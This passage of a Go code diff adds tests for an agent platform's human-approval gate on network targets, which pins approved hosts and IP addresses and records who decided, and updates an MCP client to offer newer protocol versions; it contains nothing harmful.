+		_, _ = d.Exec(`DELETE FROM intercept_pending WHERE task_id=$1`, id)
+	})
+	return TargetScope{TaskID: id, Enabled: func() bool { return true }, WaitBound: wait, Interceptor: ic}
+}
+
+func (s TargetScope) dbRef(t *testing.T) db.TargetScopeRef {
+	t.Helper()
+	ref, err := s.ref()
+	if err != nil {
+		t.Fatal(err)
+	}
+	return ref
+}
+
+func target(host string, port int, ips ...string) TargetRequest {
+	return TargetRequest{Host: host, Port: port, Kind: "domain", ResolvedIPs: ips, Resolver: "system", ResolvedAt: time.Now().UTC(), Reason: "no_pin"}
+}
+
+var webFetchInput = []byte(`{"url":"https://app.example.com/"}`)
+
+// request runs RequestTargets in the background and returns the channel its
+// result arrives on.
+func request(ctx context.Context, ic *Interceptor, scope TargetScope, ask *Decision, targets ...TargetRequest) <-chan TargetResult {
+	out := make(chan TargetResult, 1)
+	go func() { out <- ic.RequestTargets(ctx, scope, "WebFetch", webFetchInput, targets, ask) }()
+	return out
+}
+
+func result(t *testing.T, ch <-chan TargetResult) TargetResult {
+	t.Helper()
+	select {
+	case res := <-ch:
+		return res
+	case <-time.After(20 * time.Second):
+		t.Fatal("the call is still waiting")
+		return TargetResult{}
+	}
+}
+
+func stillWaiting(t *testing.T, ch <-chan TargetResult) {
+	t.Helper()
+	select {
+	case res := <-ch:
+		t.Fatalf("the call returned %+v, want it still waiting", res)
+	case <-time.After(4 * targetPollInterval):
+	}
+}
+
+func eventually(t *testing.T, what string, cond func() bool) {
+	t.Helper()
+	deadline := time.Now().Add(20 * time.Second)
+	for !cond() {
+		if time.Now().After(deadline) {
+			t.Fatalf("timed out waiting for %s", what)
+		}
+		time.Sleep(5 * time.Millisecond)
+	}
+}
+
+// openRows returns the ids of the open target requests of scope, oldest first.
+func openRows(t *testing.T, d *db.DB, scope TargetScope) []int64 {
+	t.Helper()
+	rows, err := d.Query(`SELECT id FROM intercept_pending
+WHERE COALESCE(task_id,'')=$1 AND COALESCE(conversation_id,0)=$2 AND status='pending' AND target_key IS NOT NULL ORDER BY id`,
+		scope.TaskID, scope.ConversationID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer rows.Close()
+	var ids []int64
+	for rows.Next() {
+		var id int64
+		if err := rows.Scan(&id); err != nil {
+			t.Fatal(err)
+		}
+		ids = append(ids, id)
+	}
+	return ids
+}
+
+func allRows(t *testing.T, d *db.DB, scope TargetScope) int {
+	t.Helper()
+	var n int
+	if err := d.QueryRow(`SELECT count(*) FROM intercept_pending
+WHERE COALESCE(task_id,'')=$1 AND COALESCE(conversation_id,0)=$2 AND target_key IS NOT NULL`, scope.TaskID, scope.ConversationID).Scan(&n); err != nil {
+		t.Fatal(err)
+	}
+	return n
+}
+
+// waiters is how many calls wait on request id through ic.
+func waiters(ic *Interceptor, id int64) int {
+	ic.pending.mu.Lock()
+	defer ic.pending.mu.Unlock()
+	return len(ic.pending.ch[id])
+}
+
+// oneOpenRow waits for the scope's single open request and returns its id.
+func oneOpenRow(t *testing.T, d *db.DB, scope TargetScope) int64 {
+	t.Helper()
+	var ids []int64
+	eventually(t, "one open target request", func() bool {
+		ids = openRows(t, d, scope)
+		return len(ids) == 1
+	})
+	return ids[0]
+}
+
+func pins(t *testing.T, d *db.DB, scope TargetScope) []*db.TargetPin {
+	t.Helper()
+	out, err := d.ListTargetPins(scope.dbRef(t))
+	if err != nil {
+		t.Fatal(err)
+	}
+	return out
+}
+
+// Calls for one host share one request, in one process and across two
+// instances on one database: one row, one card, one decision wakes them all,
+// one pin.
+func TestConcurrentCallsSameHostShareOneRequest(t *testing.T) {
+	d := targetTestDB(t)
+	first, second := New(d), New(targetTestDB(t))
+	scope := taskScope(t, d, first, time.Minute)
+	var cards atomic.Int32
+	ctx := WithTaskContext(context.Background(), scope.TaskID, "work#1", func(a db.Activity) {
+		if a.Kind == "intercept_request" {
+			cards.Add(1)
+		}
+	})
+	tgt := target("app.example.com", 443, "203.0.113.7")
+	a := request(ctx, first, scope, nil, tgt)
+	id := oneOpenRow(t, d, scope)
+	b := request(ctx, first, scope, nil, tgt)
+	c := request(ctx, second, scope, nil, tgt)
+	eventually(t, "every call to wait on the request", func() bool { return waiters(first, id) == 2 && waiters(second, id) == 1 })
+	if ids := openRows(t, d, scope); len(ids) != 1 || allRows(t, d, scope) != 1 {
+		t.Fatalf("open requests = %v, want the one row %d", ids, id)
+	}
+	if n := cards.Load(); n != 1 {
+		t.Fatalf("%d approval cards emitted, want 1", n)
+	}
+	stillWaiting(t, a)
+
+	// Decided on the second instance: its own waiter is woken by the channel,
+	// the waiters of the first instance by their poll.
+	if err := second.Decide(id, true, "ARTEX", "198.51.100.9"); err != nil {
+		t.Fatal(err)
+	}
+	for name, ch := range map[string]<-chan TargetResult{"creator": a, "attached": b, "other instance": c} {
+		if res := result(t, ch); res.Code != "" {
+			t.Fatalf("%s call: %+v, want approved", name, res)
+		}
+	}
+	got := pins(t, d, scope)
+	if len(got) != 1 || got[0].Status != db.TargetPinActive || got[0].Host != "app.example.com" || got[0].Port != 443 ||
+		!slices.Equal(got[0].PinnedIPs, []string{"203.0.113.7"}) {
+		t.Fatalf("pins = %+v, want one active pin", got)
+	}
+	if allRows(t, d, scope) != 1 || cards.Load() != 1 {
+		t.Fatalf("rows=%d cards=%d after the decision, want 1 and 1", allRows(t, d, scope), cards.Load())
+	}
+	if err := first.Decide(id, false, "ARTEX", ""); err != ErrAlreadyDecided {
+		t.Fatalf("second decision: %v, want ErrAlreadyDecided", err)
+	}
+}
+
+// A call that stops waiting leaves the request alone: it stays open, the next
+// call attaches to it, and a later approval still pins.
+func TestWaiterLeavingKeepsRequestOpen(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	tgt := target("app.example.com", 443, "203.0.113.7")
+	ctx, cancel := context.WithCancel(context.Background())
+	call := request(ctx, ic, scope, nil, tgt)
+	id := oneOpenRow(t, d, scope)
+	eventually(t, "the call to wait", func() bool { return waiters(ic, id) == 1 })
+	cancel()
+	res := result(t, call)
+	if res.Code != TargetApprovalPending || res.PendingID != id || res.Host != "app.example.com" || res.Port != 443 {
+		t.Fatalf("cancelled call: %+v, want %s on request %d", res, TargetApprovalPending, id)
+	}
+	row, err := d.GetInterceptPending(id)
+	if err != nil || row == nil || row.Status != "pending" || row.DecidedBy != "" {
+		t.Fatalf("request after its waiter left = %+v, %v; want untouched", row, err)
+	}
+	if waiters(ic, id) != 0 {
+		t.Fatal("the waiter that left is still registered")
+	}
+
+	again := request(context.Background(), ic, scope, nil, tgt)
+	eventually(t, "the next call to attach", func() bool { return waiters(ic, id) == 1 })
+	if ids := openRows(t, d, scope); !slices.Equal(ids, []int64{id}) {
+		t.Fatalf("open requests = %v, want the same row %d", ids, id)
+	}
+	if err := ic.Decide(id, true, "ARTEX", ""); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, again); res.Code != "" {
+		t.Fatalf("attached call: %+v, want approved", res)
+	}
+	if got := pins(t, d, scope); len(got) != 1 {
+		t.Fatalf("pins = %+v, want the late approval to pin", got)
+	}
+}
+
+func TestWaitBoundReturnsPendingCode(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, 150*time.Millisecond)
+	tgt := target("app.example.com", 443, "203.0.113.7")
+	start := time.Now()
+	res := result(t, request(context.Background(), ic, scope, nil, tgt))
+	if res.Code != TargetApprovalPending || res.PendingID == 0 {
+		t.Fatalf("bounded call: %+v, want %s", res, TargetApprovalPending)
+	}
+	if waited := time.Since(start); waited < 150*time.Millisecond {
+		t.Fatalf("the call returned after %v, before its wait bound", waited)
+	}
+	if ids := openRows(t, d, scope); !slices.Equal(ids, []int64{res.PendingID}) {
+		t.Fatalf("open requests = %v, want the request %d left open", ids, res.PendingID)
+	}
+
+	// Bound 0 (the final settlement round): never wait, but still ask.
+	never := scope
+	never.WaitBound = 0
+	other := target("other.example.com", 443, "203.0.113.8")
+	res = result(t, request(context.Background(), ic, never, nil, other))
+	if res.Code != TargetApprovalPending || res.Host != "other.example.com" || res.PendingID == 0 {
+		t.Fatalf("zero-bound call: %+v, want an immediate %s", res, TargetApprovalPending)
+	}
+	if len(openRows(t, d, scope)) != 2 {
+		t.Fatalf("open requests = %v, want the zero-bound call to have created its request", openRows(t, d, scope))
+	}
+	// An ask is never merged into a row the call does not wait on.
+	asked := ic.RequestTargets(context.Background(), never, "WebFetch", webFetchInput,
+		[]TargetRequest{target("third.example.com", 443, "203.0.113.9")}, &Decision{Action: "ask", Message: "rule asks"})
+	if asked.Code != TargetApprovalPending || asked.AskMerged {
+		t.Fatalf("zero-bound call with an ask: %+v, want a plain open request", asked)
+	}
+	if row, err := d.GetInterceptPending(asked.PendingID); err != nil || row == nil || row.Status != "pending" {
+		t.Fatalf("request of the zero-bound call = %+v, %v; want left open", row, err)
+	}
+}
+
+func askRule(t *testing.T, d *db.DB, timeoutEnabled bool, seconds int, action string) Decision {
+	t.Helper()
+	rule, err := d.CreateInterceptRule(fmt.Sprintf("target merge %d", time.Now().UnixNano()), "tool_name", "string",
+		"NoSuchToolForTargetMerge", "ask", "", 0, false, timeoutEnabled, seconds, action)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = d.DeleteInterceptRule(rule.ID) })
+	return Decision{Action: "ask", Message: "rule requires approval", RuleID: rule.ID, RuleName: rule.Name,
+		TimeoutEnabled: timeoutEnabled, TimeoutSeconds: seconds, TimeoutAction: action}
+}
+
+// A merged row is bound to the call that created it: when that call leaves, the
+// system closes the row, and nothing is pinned.
+func TestMergedRequestSettledWhenCreatorLeaves(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	ask := askRule(t, d, false, 0, "deny")
+	ctx, cancel := context.WithCancel(context.Background())
+	call := request(ctx, ic, scope, &ask, target("app.example.com", 443, "203.0.113.7"))
+	id := oneOpenRow(t, d, scope)
+	detail, err := d.GetInterceptDetail(id)
+	if err != nil || detail == nil || detail.RuleID == nil || *detail.RuleID != ask.RuleID || detail.DecisionSource != "target" ||
+		detail.Audit == nil || !detail.Audit.MergedAsk || detail.Audit.RuleName != ask.RuleName || len(detail.Audit.Targets) != 1 {
+		t.Fatalf("merged row = %+v, %v; want the rule and the target on one row", detail, err)
+	}
+	if !strings.Contains(detail.Reason, "rule requires approval") || !strings.Contains(detail.Reason, "app.example.com:443") ||
+		!strings.Contains(detail.Reason, "203.0.113.7") || !strings.Contains(detail.Reason, "Approving pins these addresses for task "+scope.TaskID+" until revoked.") {
+		t.Fatalf("merged reason does not name both the ask and the target: %q", detail.Reason)
+	}
+	eventually(t, "the creating call to wait", func() bool { return waiters(ic, id) == 1 })
+	cancel()
+	res := result(t, call)
+	if res.Code != TargetDenied || !res.AskMerged || res.PendingID != id {
+		t.Fatalf("creating call after cancel: %+v, want %s with the ask merged", res, TargetDenied)
+	}
+	row, err := d.GetInterceptDetail(id)
+	if err != nil || row == nil || row.Status != "denied" || row.DecidedBy != "system" || row.Audit.EffectiveAction != "deny" ||
+		row.Audit.DecisionReason != "work cancelled" {
+		t.Fatalf("merged row after its creator left = %+v, %v; want denied by the system", row, err)
+	}
+	if got := pins(t, d, scope); len(got) != 0 {
+		t.Fatalf("a row closed by the system pinned: %+v", got)
+	}
+}
+
+// A timeout never pins, whatever the rule says: timeout_action = allow is
+// overridden on a merged row and the override is recorded.
+func TestTimeoutNeverPins(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	ask := askRule(t, d, true, 1, "allow")
+	res := result(t, request(context.Background(), ic, scope, &ask, target("app.example.com", 443, "203.0.113.7")))
+	if res.Code != TargetDenied || !res.AskMerged {
+		t.Fatalf("call after the rule timeout: %+v, want %s", res, TargetDenied)
+	}
+	row, err := d.GetInterceptDetail(res.PendingID)
+	if err != nil || row == nil || row.Status != "timeout" || row.DecidedBy != "system" || row.Audit.EffectiveAction != "deny" ||
+		row.Audit.ExecutionStatus != "not_executed" || !strings.Contains(row.Audit.DecisionReason, `timeout action "allow" was overridden`) {
+		t.Fatalf("timed-out merged row = %+v, %v; want a timeout that denies and records the override", row, err)
+	}
+	if got := pins(t, d, scope); len(got) != 0 {
+		t.Fatalf("a timeout pinned: %+v", got)
+	}
+	if len(openRows(t, d, scope)) != 0 {
+		t.Fatal("the merged row is still open after its creator left")
+	}
+}
+
+// What is displayed is what is pinned: the addresses stored when the row was
+// created. A call that attaches with other addresses never rewrites them.
+func TestDecidePinsDisplayedIPs(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	creator := request(context.Background(), ic, scope, nil, target("app.example.com", 443, "203.0.113.8", "203.0.113.7"))
+	id := oneOpenRow(t, d, scope)
+	attached := request(context.Background(), ic, scope, nil, target("app.example.com", 443, "198.51.100.66"))
+	eventually(t, "both calls to wait", func() bool { return waiters(ic, id) == 2 })
+	shown, err := d.GetInterceptDetail(id)
+	if err != nil || shown == nil || len(shown.Audit.Targets) != 1 ||
+		!slices.Equal(shown.Audit.Targets[0].ResolvedIPs, []string{"203.0.113.8", "203.0.113.7"}) || strings.Contains(shown.Reason, "198.51.100.66") {
+		t.Fatalf("displayed request = %+v, %v; want the creator's addresses only", shown, err)
+	}
+	if err := ic.Decide(id, true, "ARTEX", "198.51.100.9"); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, creator); res.Code != "" {
+		t.Fatalf("creator: %+v", res)
+	}
+	if res := result(t, attached); res.Code != "" {
+		t.Fatalf("attached: %+v", res)
+	}
+	got := pins(t, d, scope)
+	if len(got) != 1 || !slices.Equal(got[0].PinnedIPs, []string{"203.0.113.7", "203.0.113.8"}) || got[0].InterceptID == nil || *got[0].InterceptID != id {
+		t.Fatalf("pins = %+v, want exactly the displayed addresses", got)
+	}
+}
+
+func TestDeniedRequestPinsNothing(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	tgt := target("app.example.com", 443, "203.0.113.7")
+	call := request(context.Background(), ic, scope, nil, tgt)
+	id := oneOpenRow(t, d, scope)
+	if err := ic.Decide(id, false, "ARTEX", "198.51.100.9"); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, call); res.Code != TargetDenied || res.PendingID != id {
+		t.Fatalf("denied call: %+v, want %s", res, TargetDenied)
+	}
+	if got := pins(t, d, scope); len(got) != 0 {
+		t.Fatalf("a denial pinned: %+v", got)
+	}
+	row, err := d.GetInterceptDetail(id)
+	if err != nil || row == nil || row.Status != "denied" || row.DecidedBy != "human" || row.Audit.Targets[0].Outcome != "denied" ||
+		row.Audit.Approver != "ARTEX" || row.Audit.ApproverAddr != "198.51.100.9" {
+		t.Fatalf("denied row = %+v, %v", row, err)
+	}
+	// No sticky denial: the next call asks again, on a new row.
+	next := request(context.Background(), ic, scope, nil, tgt)
+	if fresh := oneOpenRow(t, d, scope); fresh == id {
+		t.Fatal("the next call reused the denied row")
+	} else if err := ic.Decide(fresh, true, "ARTEX", ""); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, next); res.Code != "" {
+		t.Fatalf("call after the denial: %+v, want approved", res)
+	}
+}
+
+// A call attached to a merged row that closes without an approval is not
+// blocked for the host: the row was about another call. It asks once more with
+// a plain request, then blocks.
+func TestAttachedWaiterRequeuesAfterMergedDenial(t *testing.T) {
+	d := targetTestDB(t)
+	for _, approveRetry := range []bool{true, false} {
+		t.Run(fmt.Sprintf("retry approved=%v", approveRetry), func(t *testing.T) {
+			ic := New(d)
+			scope := taskScope(t, d, ic, time.Minute)
+			ask := askRule(t, d, false, 0, "deny")
+			tgt := target("app.example.com", 443, "203.0.113.7")
+			creator := request(context.Background(), ic, scope, &ask, tgt)
+			merged := oneOpenRow(t, d, scope)
+			attached := request(context.Background(), ic, scope, nil, tgt)
+			eventually(t, "both calls to wait", func() bool { return waiters(ic, merged) == 2 })
+			if err := ic.Decide(merged, false, "ARTEX", ""); err != nil {
+				t.Fatal(err)
+			}
+			if res := result(t, creator); res.Code != TargetDenied || !res.AskMerged {
+				t.Fatalf("creator of the merged row: %+v, want %s", res, TargetDenied)
+			}
+			var retry int64
+			eventually(t, "the attached call to ask again", func() bool {
+				ids := openRows(t, d, scope)
+				if len(ids) == 1 && ids[0] != merged {
+					retry = ids[0]
+				}
+				return retry != 0
+			})
+			plain, err := d.GetInterceptDetail(retry)
+			if err != nil || plain == nil || plain.RuleID != nil || plain.Audit.MergedAsk {
+				t.Fatalf("retry row = %+v, %v; want a plain target request", plain, err)
+			}
+			stillWaiting(t, attached)
+			if err := ic.Decide(retry, approveRetry, "ARTEX", ""); err != nil {
+				t.Fatal(err)
+			}
+			res := result(t, attached)
+			if approveRetry && (res.Code != "" || len(pins(t, d, scope)) != 1) {
+				t.Fatalf("attached call after its retry was approved: %+v pins=%+v", res, pins(t, d, scope))
+			}
+			if !approveRetry && (res.Code != TargetDenied || res.PendingID != retry || len(pins(t, d, scope)) != 0) {
+				t.Fatalf("attached call after its retry was denied: %+v, want %s", res, TargetDenied)
+			}
+			// One retry, then block: never a third request.
+			if n := allRows(t, d, scope); n != 2 {
+				t.Fatalf("%d request rows, want the merged one and one retry", n)
+			}
+		})
+	}
+}
+
+// The request rows of a conversation go with it (cascade). A waiter that finds
+// its row gone stops with a block.
+func TestWaiterStopsWhenRowDeleted(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	conv, err := d.CreateConversation("assistant", fmt.Sprintf("target wait %d", time.Now().UnixNano()), nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() {
+		_ = d.DeleteConversation(conv.ID)
+		_, _ = d.Exec(`DELETE FROM target_pins WHERE conversation_id=$1`, conv.ID)
+	})
+	scope := TargetScope{ConversationID: conv.ID, Enabled: func() bool { return true }, WaitBound: time.Minute, Interceptor: ic}
+	call := request(WithConvID(context.Background(), conv.ID), ic, scope, nil, target("app.example.com", 443, "203.0.113.7"))
+	id := oneOpenRow(t, d, scope)
+	eventually(t, "the call to wait", func() bool { return waiters(ic, id) == 1 })
+	// The card went to the conversation stream.
+	var cards int
+	if err := d.QueryRow(`SELECT count(*) FROM conversation_activities WHERE conversation_id=$1 AND kind='intercept_request'`, conv.ID).Scan(&cards); err != nil || cards != 1 {
+		t.Fatalf("%d approval cards in the conversation (%v), want 1", cards, err)
+	}
+	if err := d.DeleteConversation(conv.ID); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, call); res.Code != TargetGateUnavailable || res.PendingID != id {
+		t.Fatalf("call whose request was deleted: %+v, want %s", res, TargetGateUnavailable)
+	}
+}
+
+// Every human decision records who took it and from where: on the pin and in
+// the audit of a target row, in the audit of a classic ask. decided_by on the
+// row stays the actor class.
+func TestDecideRecordsApproverAndAddress(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	call := request(context.Background(), ic, scope, nil, target("app.example.com", 443, "203.0.113.7"))
+	id := oneOpenRow(t, d, scope)
+	if err := ic.Decide(id, true, "ARTEX", "198.51.100.9"); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, call); res.Code != "" {
+		t.Fatalf("approved call: %+v", res)
+	}
+	got := pins(t, d, scope)
+	if len(got) != 1 || got[0].DecidedBy != "ARTEX" || got[0].DecidedFrom != "198.51.100.9" {
+		t.Fatalf("pin = %+v, want the approver and the address", got)
+	}
+	row, err := d.GetInterceptDetail(id)
+	if err != nil || row == nil || row.DecidedBy != "human" || row.Audit.Approver != "ARTEX" || row.Audit.ApproverAddr != "198.51.100.9" {
+		t.Fatalf("target row = %+v, %v", row, err)
+	}
+
+	// A classic ask goes through the same Decide and records the same.
+	ctx := WithTaskContext(context.Background(), scope.TaskID, "work#1", nil)
+	allowed := make(chan bool, 1)
+	go func() {
+		allowed <- ic.HandleAsk(ctx, 0, Decision{Action: "ask", Message: "classic ask"}, "Bash", []byte(`{"command":"id"}`))
+	}()
+	var classic int64
+	eventually(t, "the classic ask", func() bool {
+		return d.QueryRow(`SELECT id FROM intercept_pending WHERE task_id=$1 AND status='pending' AND target_key IS NULL`, scope.TaskID).Scan(&classic) == nil
+	})
+	eventually(t, "the classic ask to wait", func() bool { return waiters(ic, classic) == 1 })
+	if err := ic.Decide(classic, true, "ARTEX", "198.51.100.10"); err != nil {
+		t.Fatal(err)
+	}
+	select {
+	case ok := <-allowed:
+		if !ok {
+			t.Fatal("the approved classic ask was refused")
+		}
+	case <-time.After(20 * time.Second):
+		t.Fatal("the classic ask is still waiting")
+	}
+	row, err = d.GetInterceptDetail(classic)
+	if err != nil || row == nil || row.Status != "allowed" || row.DecidedBy != "human" || row.Audit == nil ||
+		row.Audit.Approver != "ARTEX" || row.Audit.ApproverAddr != "198.51.100.10" || len(row.Audit.Targets) != 0 {
+		t.Fatalf("classic row = %+v, %v; want the approver and the address in its audit", row, err)
+	}
+	if len(pins(t, d, scope)) != 1 {
+		t.Fatal("approving a classic ask pinned something")
+	}
+}
+
+// Behind the upstream proxy the proxy chooses the address: the request says the
+// approval is name-only and the pin carries the mark. The mark stays when the
+// proxy is removed; addresses are enforced again only after a new approval.
+func TestPinUnderGlobalProxyIsNameOnly(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	var proxied atomic.Bool
+	ic.SetUpstreamProxyCheck(proxied.Load)
+	scope := taskScope(t, d, ic, time.Minute)
+	const sentence = "This approval is name-only."
+	approve := func(host string) (*db.TargetPin, string) {
+		t.Helper()
+		call := request(context.Background(), ic, scope, nil, target(host, 443, "203.0.113.7"))
+		id := oneOpenRow(t, d, scope)
+		row, err := d.GetInterceptDetail(id)
+		if err != nil || row == nil {
+			t.Fatalf("request row: %+v, %v", row, err)
+		}
+		if err := ic.Decide(id, true, "ARTEX", ""); err != nil {
+			t.Fatal(err)
+		}
+		if res := result(t, call); res.Code != "" {
+			t.Fatalf("approved call: %+v", res)
+		}
+		active, err := d.ActiveTargetPins(scope.dbRef(t), host, 443)
+		if err != nil || len(active) != 1 {
+			t.Fatalf("active pins of %s = %+v, %v", host, active, err)
+		}
+		return active[0], row.Reason
+	}
+
+	direct, reason := approve("direct.example.com")
+	if direct.NameOnlyEffective || strings.Contains(reason, sentence) {
+		t.Fatalf("without a proxy: pin=%+v reason=%q, want an address pin", direct, reason)
+	}
+
+	proxied.Store(true)
+	named, reason := approve("proxied.example.com")
+	if !named.NameOnlyEffective || !strings.Contains(reason, sentence) || !strings.Contains(reason, "upstream proxy") {
+		t.Fatalf("behind the proxy: pin=%+v reason=%q, want a name-only pin and a request that says so", named, reason)
+	}
+	if !slices.Equal(named.PinnedIPs, []string{"203.0.113.7"}) {
+		t.Fatalf("name-only pin addresses = %v, want what the platform resolved", named.PinnedIPs)
+	}
+
+	// The proxy is removed: the pin stays name-only, the address pin stays one.
+	proxied.Store(false)
+	ref := scope.dbRef(t)
+	if still, err := d.ActiveTargetPins(ref, "proxied.example.com", 443); err != nil || len(still) != 1 || !still[0].NameOnlyEffective {
+		t.Fatalf("name-only pin after the proxy was removed = %+v, %v; want still name-only", still, err)
+	}
+	if still, err := d.ActiveTargetPins(ref, "direct.example.com", 443); err != nil || len(still) != 1 || still[0].NameOnlyEffective {
+		t.Fatalf("address pin = %+v, %v", still, err)
+	}
+	// Enforcing addresses again takes a revocation and a new approval.
+	if _, err := d.RevokeTargetPin(ref, named.ID); err != nil {
+		t.Fatal(err)
+	}
+	if again, _ := approve("proxied.example.com"); again.NameOnlyEffective || again.Version != 2 {
+		t.Fatalf("pin approved after the proxy was removed = %+v, want an address pin, version 2", again)
+	}
+}
+
+// A new_ip request shows the old version, the pinned addresses and the new
+// ones, and its approval extends the pin.
+func TestNewIPRequestShowsOldAndNewAddresses(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	first := request(context.Background(), ic, scope, nil, target("app.example.com", 0, "203.0.113.7"))
+	id := oneOpenRow(t, d, scope)
+	if row, err := d.GetInterceptDetail(id); err != nil || row == nil || !strings.Contains(row.Reason, "app.example.com (port not declared: every port)") {
+		t.Fatalf("port-0 request = %+v, %v; want the reason to say the port is not declared", row, err)
+	}
+	if err := ic.Decide(id, true, "ARTEX", ""); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, first); res.Code != "" {
+		t.Fatalf("first call: %+v", res)
+	}
+	v1 := pins(t, d, scope)[0]
+
+	moved := target("app.example.com", 0, "203.0.113.99")
+	moved.Reason, moved.Pin = "new_ip", v1
+	second := request(context.Background(), ic, scope, nil, moved)
+	id = oneOpenRow(t, d, scope)
+	row, err := d.GetInterceptDetail(id)
+	if err != nil || row == nil || !strings.Contains(row.Reason, "pin v1: 203.0.113.7") || !strings.Contains(row.Reason, "now resolves to 203.0.113.99") {
+		t.Fatalf("new_ip request = %+v, %v; want the old version, the pinned and the new addresses", row, err)
+	}
+	if got := row.Audit.Targets[0]; got.Reason != "new_ip" || got.PinID != v1.ID || got.PinVersion != 1 || !slices.Equal(got.PinnedIPs, []string{"203.0.113.7"}) {
+		t.Fatalf("recorded target = %+v", got)
+	}
+	if err := ic.Decide(id, true, "ARTEX", ""); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, second); res.Code != "" {
+		t.Fatalf("second call: %+v", res)
+	}
+	active, err := d.ActiveTargetPins(scope.dbRef(t), "app.example.com", 0)
+	if err != nil || len(active) != 1 || active[0].Version != 2 || !slices.Equal(active[0].PinnedIPs, []string{"203.0.113.7", "203.0.113.99"}) {
+		t.Fatalf("pin after the new_ip approval = %+v, %v; want v2 with both addresses", active, err)
+	}
+}
+
+// One call, several targets: one request per host and port, and the call
+// passes only when all of them are approved.
+func TestSeveralTargetsNeedEveryApproval(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	ask := askRule(t, d, false, 0, "deny")
+	call := request(context.Background(), ic, scope, &ask,
+		target("a.example.com", 443, "203.0.113.1"), target("b.example.com", 443, "203.0.113.2"))
+	var ids []int64
+	eventually(t, "two open requests", func() bool {
+		ids = openRows(t, d, scope)
+		return len(ids) == 2
+	})
+	// The ask is merged into the first row the call created; the other is plain.
+	for n, id := range ids {
+		row, err := d.GetInterceptDetail(id)
+		if err != nil || row == nil || row.Audit.MergedAsk != (n == 0) || (row.RuleID != nil) != (n == 0) {
+			t.Fatalf("row %d = %+v, %v; want the ask merged into the first row only", n, row, err)
+		}
+	}
+	if err := ic.Decide(ids[0], true, "ARTEX", ""); err != nil {
+		t.Fatal(err)
+	}
+	stillWaiting(t, call)
+	if err := ic.Decide(ids[1], false, "ARTEX", ""); err != nil {
+		t.Fatal(err)
+	}
+	res := result(t, call)
+	if res.Code != TargetDenied || res.Host != "b.example.com" || !res.AskMerged {
+		t.Fatalf("call with one target denied: %+v, want %s on b.example.com", res, TargetDenied)
+	}
+	if got := pins(t, d, scope); len(got) != 1 || got[0].Host != "a.example.com" {
+		t.Fatalf("pins = %+v, want only the approved host", got)
+	}
+}
+
+// A scope that names no task and no conversation, or a task id that is not a
+// number, never reaches the store.
+func TestRequestTargetsRejectsBadScope(t *testing.T) {
+	ic := New(nil)
+	for name, scope := range map[string]TargetScope{
+		"empty":        {WaitBound: time.Minute},
+		"both":         {TaskID: "7", ConversationID: 9, WaitBound: time.Minute},
+		"task not int": {TaskID: "seven", WaitBound: time.Minute},
+	} {
+		res := ic.RequestTargets(context.Background(), scope, "WebFetch", webFetchInput, []TargetRequest{target("app.example.com", 443, "203.0.113.7")}, nil)
+		if res.Code != TargetGateUnavailable {
+			t.Errorf("%s scope: %+v, want %s", name, res, TargetGateUnavailable)
+		}
+	}
+}

intercept/testmain_test.go

@@ -0,0 +1,17 @@
+package intercept
+
+import (
+	"os"
+	"testing"
+	"time"
+
+	"github.com/Autumn-27/artex/db"
+)
+
+func TestMain(m *testing.M) {
+	// Own database per package (#80), as in db, agent, server and evidence.
+	db.SuffixTestDatabase("intercept")
+	// A short poll keeps the cross-instance tests fast; production uses 2 s.
+	targetPollInterval = 50 * time.Millisecond
+	os.Exit(m.Run())
+}

mcphttp/client.go

@@ -28,7 +28,7 @@ import (
 	actool "github.com/Autumn-27/norma/tool"
 )
 
-const protocolVersion = "2025-06-18"
+const protocolVersion = "2025-11-25"
 const legacySSEProtocolVersion = "2024-11-05"
 
 // ToolName mirrors mcp.ToolName so remote tools share the mcp__server__tool scheme.
@@ -66,6 +66,11 @@ type Client struct {
 	mu        sync.Mutex
 	nextID    int
 	sessionID string
+	// initialized is set once initialize succeeds. Until then the
+	// MCP-Protocol-Version header is omitted: the spec requires it on requests
+	// after initialization, and the offered version already travels in the
+	// initialize body.
+	initialized bool
 
 	// legacySSE is the pre-2025 MCP SSE transport used by servers such as GSL5.
 	legacySSE    bool
@@ -247,18 +252,47 @@ func (c *Client) readLegacySSE(r *bufio.Reader) {
 }
 
 func (c *Client) initialize(ctx context.Context) error {
-	version := c.protocol
-	if version == "" {
-		version = protocolVersion
+	versions := []string{protocolVersion, "2025-06-18"}
+	if c.legacySSE {
+		versions = []string{legacySSEProtocolVersion}
 	}
-	if _, err := c.call(ctx, "initialize", map[string]any{
-		"protocolVersion": version,
-		"capabilities":    map[string]any{},
-		"clientInfo":      map[string]any{"name": "artex", "version": "0.2"},
-	}); err != nil {
-		return err
+	for i, version := range versions {
+		c.mu.Lock()
+		c.protocol = version
+		c.mu.Unlock()
+		result, err := c.call(ctx, "initialize", map[string]any{
+			"protocolVersion": version,
+			"capabilities":    map[string]any{},
